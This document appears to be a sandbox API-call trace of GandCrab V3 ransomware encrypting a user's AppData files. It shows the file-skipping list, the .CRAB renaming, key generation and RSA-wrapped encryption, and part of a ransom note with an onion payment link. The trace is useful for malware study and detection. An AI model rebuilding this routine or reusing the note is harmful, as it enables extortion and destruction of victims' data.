	[0109.692] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="khYklCMkh.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi"
	[0109.692] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.692] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi") returned 51
	[0109.692] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi") returned 51
	[0109.693] lstrlenW (lpString=".avi") returned 4
	[0109.693] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.693] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0109.693] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi") returned 51
	[0109.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi") returned 51
	[0109.693] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="desktop.ini") returned 1
	[0109.693] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="autorun.inf") returned 1
	[0109.693] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="ntuser.dat") returned -1
	[0109.693] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="iconcache.db") returned 1
	[0109.694] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="bootsect.bak") returned 1
	[0109.694] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="boot.ini") returned 1
	[0109.694] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="ntuser.dat.log") returned -1
	[0109.694] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="thumbs.db") returned -1
	[0109.694] lstrcmpiW (lpString1="khYklCMkh.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.694] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.694] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB") returned 56
	[0109.694] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\khyklcmkh.avi")) returned 0x20
	[0109.695] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi", dwFileAttributes=0x20) returned 1
	[0109.695] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\khyklcmkh.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\khyklcmkh.avi.crab")) returned 1
	[0109.696] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.696] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB"
	[0109.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB.CRAB"
	[0109.697] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0109.697] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.698] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.698] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.698] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.698] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.698] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ec00) returned 1
	[0109.699] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.699] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.699] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.699] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0109.700] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.700] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.700] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.700] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0109.701] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80da0) returned 1
	[0109.701] CryptGetKeyParam (in: hKey=0xd80da0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.701] CryptEncrypt (in: hKey=0xd80da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.701] GetLastError () returned 0x0
	[0109.701] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.701] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0109.702] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80660) returned 1
	[0109.702] CryptGetKeyParam (in: hKey=0xd80660, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.702] CryptEncrypt (in: hKey=0xd80660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.702] GetLastError () returned 0x0
	[0109.702] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0109.703] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\khYklCMkh.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\khyklcmkh.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.703] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.704] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.704] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0xe8d8, lpOverlapped=0x0) returned 1
	[0109.714] VirtualAlloc (lpAddress=0x0, dwSize=0xe8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.715] VirtualAlloc (lpAddress=0x0, dwSize=0xe8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.716] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.716] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff1728, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.716] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xe8e0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0xe8e0, lpOverlapped=0x0) returned 1
	[0109.717] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.717] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.783] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.783] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.783] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.783] CloseHandle (hObject=0x3ec) returned 1
	[0109.785] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.785] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.786] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.786] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.786] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.786] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.786] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.787] lstrcmpW (lpString1="LVJC0a8xXrA.flv", lpString2=".") returned 1
	[0109.787] lstrcmpW (lpString1="LVJC0a8xXrA.flv", lpString2="..") returned 1
	[0109.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="LVJC0a8xXrA.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv"
	[0109.787] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.787] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv") returned 53
	[0109.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv") returned 53
	[0109.787] lstrlenW (lpString=".flv") returned 4
	[0109.787] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.787] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0109.787] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv") returned 53
	[0109.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv") returned 53
	[0109.787] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="desktop.ini") returned 1
	[0109.787] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="autorun.inf") returned 1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="ntuser.dat") returned -1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="iconcache.db") returned 1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="bootsect.bak") returned 1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="boot.ini") returned 1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="ntuser.dat.log") returned -1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="thumbs.db") returned -1
	[0109.788] lstrcmpiW (lpString1="LVJC0a8xXrA.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.788] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.788] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB") returned 58
	[0109.788] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lvjc0a8xxra.flv")) returned 0x20
	[0109.788] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv", dwFileAttributes=0x20) returned 1
	[0109.789] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lvjc0a8xxra.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lvjc0a8xxra.flv.crab")) returned 1
	[0109.789] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.790] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB"
	[0109.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB.CRAB"
	[0109.790] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0109.790] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.791] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.791] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.791] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.791] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.791] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0109.792] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.794] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.794] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.794] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.794] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.795] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.795] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.796] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0109.797] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd806e0) returned 1
	[0109.797] CryptGetKeyParam (in: hKey=0xd806e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.797] CryptEncrypt (in: hKey=0xd806e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.797] GetLastError () returned 0x0
	[0109.797] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.797] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ec00) returned 1
	[0109.798] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd808a0) returned 1
	[0109.798] CryptGetKeyParam (in: hKey=0xd808a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.798] CryptEncrypt (in: hKey=0xd808a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.798] GetLastError () returned 0x0
	[0109.798] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0109.798] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LVJC0a8xXrA.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lvjc0a8xxra.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.799] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.799] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.799] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x104e5, lpOverlapped=0x0) returned 1
	[0109.805] VirtualAlloc (lpAddress=0x0, dwSize=0x104f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.806] VirtualAlloc (lpAddress=0x0, dwSize=0x104f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0109.808] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.808] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffefb1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.808] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x104f0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x104f0, lpOverlapped=0x0) returned 1
	[0109.809] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.809] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.813] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.813] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.813] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.813] CloseHandle (hObject=0x3ec) returned 1
	[0109.816] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.816] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.816] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.817] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.817] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.817] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.817] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.817] lstrcmpW (lpString1="Macromedia", lpString2=".") returned 1
	[0109.817] lstrcmpW (lpString1="Macromedia", lpString2="..") returned 1
	[0109.817] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia"
	[0109.818] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\"
	[0109.818] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.818] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.818] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.818] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.818] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.818] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.818] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.819] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\\\CRAB-DECRYPT.txt") returned 66
	[0109.819] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.820] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your 